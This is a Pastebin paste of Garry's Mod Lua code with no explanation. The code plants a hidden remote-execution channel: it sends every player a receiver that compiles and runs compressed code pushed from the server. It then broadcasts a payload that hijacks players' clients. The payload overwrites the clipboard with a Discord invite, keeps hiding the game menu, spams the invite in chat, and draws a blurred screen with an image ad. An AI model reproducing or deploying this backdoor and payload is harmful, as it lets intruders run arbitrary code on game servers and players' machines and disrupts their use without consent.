SHARE
TWEET

Untitled

SatanOnGmod Sep 21st, 2019 120 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.    function RandomString( intMin, intMax )
  2.         local ret = ""
  3.         for _ = 1, math.random( intMin, intMax ) do
  4.             ret = ret.. string.char( math.random(65, 90) )
  5.         end
  6.  
  7.         return ret
  8.     end
  9.  
  10.     m_strImageGlobalVar = RandomString( 6, 12 )
  11.  
  12.     local function rdm_str(len)
  13.         if !len or len <= 0 then return '' end
  14.         return rdm_str(len - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")[math.random(1, 62)]
  15.     end
  16.  
  17.     local net_string = rdm_str(25)
  18.  
  19.     util.AddNetworkString(net_string)
  20.     BroadcastLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
  21.     hook.Add("PlayerInitialSpawn", "ifyouseethisdontpanicitsme",function(ply)
  22.         if !ply:IsBot() then
  23.             ply:SendLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
  24.         end
  25.     end)
  26.  
  27.     local function SendToClient(code)
  28.         timer.Simple(1, function()
  29.             local data = util.Compress(code)
  30.             local len = #data
  31.             net.Start(net_string)
  32.             net.WriteUInt(len, 16)
  33.             net.WriteData(data, len)
  34.             net.Broadcast()
  35.         end)
  36.     end
  37.  
  38.  
  39.     hook.Add("Think","\xFF\xFF\xFF",function()
  40.         local col = HSVToColor(CurTime() * 50 % 360, 1, 1)
  41.         for _, v in ipairs(player.GetAll()) do
  42.             v:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
  43.         end
  44.     end)
  45.  
  46.  
  47.     SendToClient([=[
  48.    
  49. local duration = tonumber("test")
  50. local invite = "https://discord.gg/6RvBJAZ"
  51. local imgurls = {
  52.     ["fr"] = "https://i.imgur.com/dP15J3p.png",
  53.     ["default"] = "https://i.imgur.com/dP15J3p.png"
  54. }
  55.  
  56. local lang = GetConVar("gmod_language"):GetString()
  57. local imgurl = imgurls[lang] and imgurls[lang] or imgurls["default"]
  58.  
  59. SetClipboardText(invite)
  60.  
  61. local hooksname = "PleaseBuyGVac"..math.random(0, 100)
  62. hook.Add("Think", hooksname, function()
  63.     gui.HideGameUI()
  64.     print(invite)
  65. end)
  66.  
  67. timer.Create(hooksname, .5, 0, function()
  68.     chat.AddText(HSVToColor(CurTime()*50 % 360, 1, 1), invite)
  69. end)
  70.  
  71. local sW, sH = ScrW(), ScrH()
  72.  
  73. local blur = Material("pp/blurscreen")
  74. local function blurfunc()
  75.     blur:SetFloat("$blur", SysTime()*1000%5)
  76.     blur:Recompute()
  77.     surface.SetDrawColor(0, 0, 0)
  78.     surface.SetMaterial(blur)
  79.     surface.DrawTexturedRect(0, 0, sW, sH)
  80. end
  81.  
  82. local h = sH / 4
  83. local y = sH / 2 - (h / 2)
  84. local ad = vgui.Create("HTML")
  85. ad:SetPos(-sW, y)
  86. ad:SetSize(sW, h)
  87. ad:SetMouseInputEnabled(false)
  88. ad:SetKeyboardInputEnabled(false)
  89. ad:OpenURL(imgurl)
  90. ad:SetAlpha(20)
  91.  
  92. timer.Simple(2, function()
  93.     hook.Add("HUDPaint", hooksname, blurfunc)
  94.     ad:MoveTo(0, y, .5, 0, -1, function(_, self)
  95.         self:MoveTo(0, 0, 2.5, 0, -1, function(_, self)
  96.             self:MoveTo(0, sH - h, 5, 0, -1, function(_, self)
  97.                 self:MoveTo(0, y, 2.5)
  98.             end)
  99.         end)
  100.     end)
  101. end)
  102.  
  103. timer.Simple(duration + 12.5, function()
  104.     ad:MoveTo(sW, y, .5, 0, -1, function(_, self)
  105.         self:Remove()
  106.         hook.Remove("HUDPaint", hooksname)
  107.         hook.Remove("Think", hooksname)
  108.         timer.Remove(hooksname)
  109.     end)
  110. end)
  111.     ]=])
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top